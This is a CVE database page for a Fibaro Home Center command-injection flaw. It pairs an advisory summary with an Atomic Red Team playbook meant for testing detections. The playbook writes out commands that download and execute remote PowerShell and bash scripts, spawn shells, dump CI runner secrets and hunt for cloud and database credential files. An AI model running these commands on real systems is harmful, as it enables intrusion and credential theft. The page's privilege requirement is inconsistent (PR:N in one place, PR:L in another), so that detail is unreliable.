CVE-2021-20991

HIGH Pub 19/04 Upd 16/09

Overview

This vulnerability is a command injection flaw in Fibaro Home Center 2 and Lite devices running firmware version 4.540 and older. The root cause lies in improper input validation within a component handling user-supplied commands, allowing an authenticated user to execute arbitrary shell commands with root privileges. The affected component is the command execution interface in the device's firmware.

Vulnerability Description

In Fibaro Home Center 2 and Lite devices with firmware version 4.540 and older an authenticated user can run commands as root user using a command injection vulnerability.

Impact

An attacker with valid authentication can execute arbitrary commands as the root user on the affected Fibaro devices, enabling full system compromise. This includes the ability to manipulate device configuration, access sensitive data, and disrupt device operations. The vulnerability requires no user interaction beyond authentication and can be exploited remotely over the network (CVSS vector AV:N/AC:L/PR:N/UI:N), significantly elevating the risk of unauthorized control and lateral movement within the network environment.

Solution

Fibaro has addressed this issue in firmware versions released after 4.540. Users should upgrade to the latest firmware version for Home Center 2 and Home Center Lite as detailed in the advisory at https://www.iot-inspector.com/blog/advisory-fibaro-home-center/. The advisory provides step-by-step instructions for firmware upgrades. No official workaround is documented; therefore, prompt application of the vendor-supplied firmware update is the recommended remediation.

EPSS vs KEV Prediction — Evolution (30 days)

	Vendor	Product	Version	CPE
F	Fibaro	Home Center 2 Firmware	All	`cpe:2.3:o:fibaro:home_center_2_firmware::::::::`
F	Fibaro	Home Center Lite Firmware	All	`cpe:2.3:o:fibaro:home_center_lite_firmware::::::::`

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope

Initial Access

TA0001

Execution

TA0002

Persistence

TA0003

Priv. Escalation

TA0004

Defense Evasion

TA0005

Credential Access

TA0006

Lateral Movement

TA0008

Collection

TA0009

Impact

TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection

100% command_injection

Authentication Bypass

48% auth_bypass

Remote Code Execution

31% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID	Name	Stage	Tactics	Platforms
T1190	Exploit Public-Facing Application	Initial Access	initial-access	Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004	Unix Shell	Kill Chain	execution	ESXi, Linux, macOS, Network Devices
T1505.003	Web Shell	Kill Chain	persistence	Linux, macOS, Network Devices, Windows
T1552.001	Credentials In Files	Kill Chain	credential-access	Containers, IaaS, Linux, macOS, Windows
T1049	System Network Connections Discovery	Kill Chain	discovery	Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004	SSH	Kill Chain	lateral-movement	ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID	Name	ML Conf.	Likelihood	Severity
CAPEC-88	OS Command Injection	47%	High	High
CAPEC-6	Argument Injection	46%	High	High
CAPEC-43	Exploiting Multiple Input Interpretation Layers	40%	Medium	High

Red Team Playbook

59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged

An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.

Command (PowerShell)

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false

T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD

An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)

Command (CMD)

echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"

T1049 System Discovery using SharpView Windows PowerShell Privileged

Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.

Command (PowerShell)

$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}

T1049 System Network Connections Discovery Windows CMD

Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.

Command (CMD)

netstat -ano
net use
net sessions 2>nul

T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell

Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.

Command (Shell)

netstat
who -a

T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell

Enumerate TCP connections and map to owning process names via PowerShell.

Command (PowerShell)

Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize

T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell

Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.

Command (Shell)

sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true

T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash

List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.

Command (Bash)

if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi

T1049 System Network Connections Discovery with PowerShell Windows PowerShell

Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.

Command (PowerShell)

Get-NetTCPConnection

T1059.004 Change login shell Linux Bash Privileged

An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.

Command (Bash)

[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art

T1059.004 Command line scripts Linux Shell

An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!

Command (Shell)

for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done

T1059.004 Command-Line Interface Linux, macOS Shell

Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.

Command (Shell)

curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash

T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell

Creates and executes a simple sh script.

Command (Shell)

sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}

T1059.004 Creating shell using cpan command Linux, macOS Shell

cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/

Command (Shell)

echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan

T1059.004 Current kernel information enumeration Linux Shell

An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.

Command (Shell)

uname -srm

T1059.004 Detecting pipe-to-shell Linux Shell

An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...

Command (Shell)

cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt

T1059.004 Environment variable scripts Linux Shell

An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash

Command (Shell)

export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh

T1059.004 Harvest SUID executable files Linux Shell

AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.

Command (Shell)

chmod +x #{autosuid}
bash #{autosuid}

T1059.004 LinEnum tool execution Linux Shell

LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.

Command (Shell)

chmod +x #{linenum}
bash #{linenum}

T1059.004 New script file in the tmp directory Linux Shell

An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...

Command (Shell)

TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE

T1059.004 Obfuscated command line scripts Linux Shell

An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...

Command (Shell)

[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART

T1059.004 Shell Creation using awk command Linux, macOS Shell

In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell

Command (Shell)

awk 'BEGIN {system("/bin/sh &")}'

T1059.004 Shell Creation using busybox command Linux Shell

BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...

Command (Shell)

busybox sh &

T1059.004 What shell is running Linux Shell

An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.

Command (Shell)

echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi

T1059.004 What shells are available Linux Shell

An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.

Command (Shell)

cat /etc/shells

T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged

emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/

Command (Shell)

sudo emacs -Q -nw --eval '(term "/bin/sh &")'

T1505.003 Web Shell Written to Disk Windows CMD

This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx

Command (CMD)

xcopy /I /Y "#{web_shells}" #{web_shell_path}

T1552.001 Access Drone CI Config File Linux, macOS Shell

Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Gitlab CI Config File Linux, macOS Shell

Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Jenkinsfile Linux, macOS Shell

Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Travis CI Config File Linux, macOS Shell

Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access unattend.xml Windows CMD Privileged

Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.

Command (CMD)

type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml

T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash

Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...

Command (Bash)

for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done

T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged

[LaZagne Source](https://github.com/AlessandroZ/LaZagne)

Command (Bash)

python2 laZagne.py all

T1552.001 Extract passwords with grep Linux, macOS Shell

Extracting credentials from files

Command (Shell)

grep -ri password #{file_path}
exit 0

T1552.001 Extracting passwords with findstr Windows PowerShell

Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.

Command (PowerShell)

findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password

T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell

Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...

Command (Shell)

find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null

T1552.001 Find AWS credentials Linux, macOS Shell

Find local AWS credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null

T1552.001 Find Azure credentials Linux, macOS Shell

Find local Azure credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Docker credentials Linux, macOS Shell

Find local Docker credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find GCP credentials Linux, macOS Shell

Find local Google Cloud Platform credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find HashiCorp Vault token files Linux, macOS Shell

Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged

Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...

Command (Shell)

find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Kubernetes user configuration files Linux, macOS Shell

Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.

Command (Shell)

find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null

T1552.001 Find OCI credentials Linux, macOS Shell

Find local Oracle cloud credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null

T1552.001 Find Terraform credential files Linux, macOS Shell

Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.

Command (Shell)

for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done

T1552.001 Find and Access Github Credentials Linux, macOS Shell

Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find database credential files Linux, macOS Shell

Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.

Command (Shell)

for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done

T1552.001 Find npm registry credential files Linux, macOS Shell

Find .npmrc files, which may contain plaintext npm registry authentication tokens.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find system database configuration files Linux Shell Privileged

Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.

Command (Shell)

find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null

T1552.001 List Credential Files via Command Prompt Windows CMD Privileged

Via Command Prompt,list files where credentials are stored in Windows Credential Manager

Command (CMD)

dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\

T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged

Via PowerShell,list files where credentials are stored in Windows Credential Manager

Command (PowerShell)

$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\

T1552.001 Search for Git Credential Files Linux, macOS Shell

Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell

Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive

T1552.001 WinPwn - SessionGopher Windows PowerShell

Launches SessionGopher on this system via WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput

T1552.001 WinPwn - Snaffler Windows PowerShell

Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput

T1552.001 WinPwn - passhunt Windows PowerShell

Search for Passwords on this system using passhunt via WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive

T1552.001 WinPwn - powershellsensitive Windows PowerShell

Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive

T1552.001 WinPwn - sensitivefiles Windows PowerShell

Search for sensitive files on this local system using the SensitiveFiles function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Title	Tags	URL
nvd.nist.gov	NVD reference	https://nvd.nist.gov/vuln/detail/CVE-2021-20991
iot-inspector.com	GitHub CVE x_refsource_CONFIRM	https://www.iot-inspector.com/blog/advisory-fibaro-home-center/
seclists.org	GitHub CVE mailing-list x_refsource_FULLDISC	http://seclists.org/fulldisclosure/2021/Apr/27
packetstormsecurity.com	GitHub CVE x_refsource_MISC	http://packetstormsecurity.com/files/162243/Fibaro-Home-Center-MITM-Missing-Authentication-Code-Execution.html

CVSS Analysis

CVSS v3.1

8.8

EXPLOITABILITY

Attack Vector

Network AV:N

Attack Complexity

Low AC:L

Privileges Required

Low PR:L

User Interaction

None UI:N

SCOPE

Scope

Unchanged S:U

IMPACT

Confidentiality

High C:H

Integrity

High I:H

Availability

High A:H

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack Vectors

CWE

CWE-78

CWE-77

Prioritization

KEV Prediction

1.4%

Percentile

17%

LEV

34.2%

SSVC

Decision

Track

Exploitation

None

Automatable

Technical Impact

Total

Threat Level

CISA KEV

Exploited in Wild

Exploit Available

PoC Available

Ransomware

CVE-2021-20991

Overview

Vulnerability Description

Impact

Solution

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products (2)

Exploits

Threat Feed

Likely Kill Chain

Attack Vectors ML

MITRE ATT&CK Techniques (6)

CAPEC Attack Patterns ML

Red Team Playbook

Detection & Response Rules

References (4)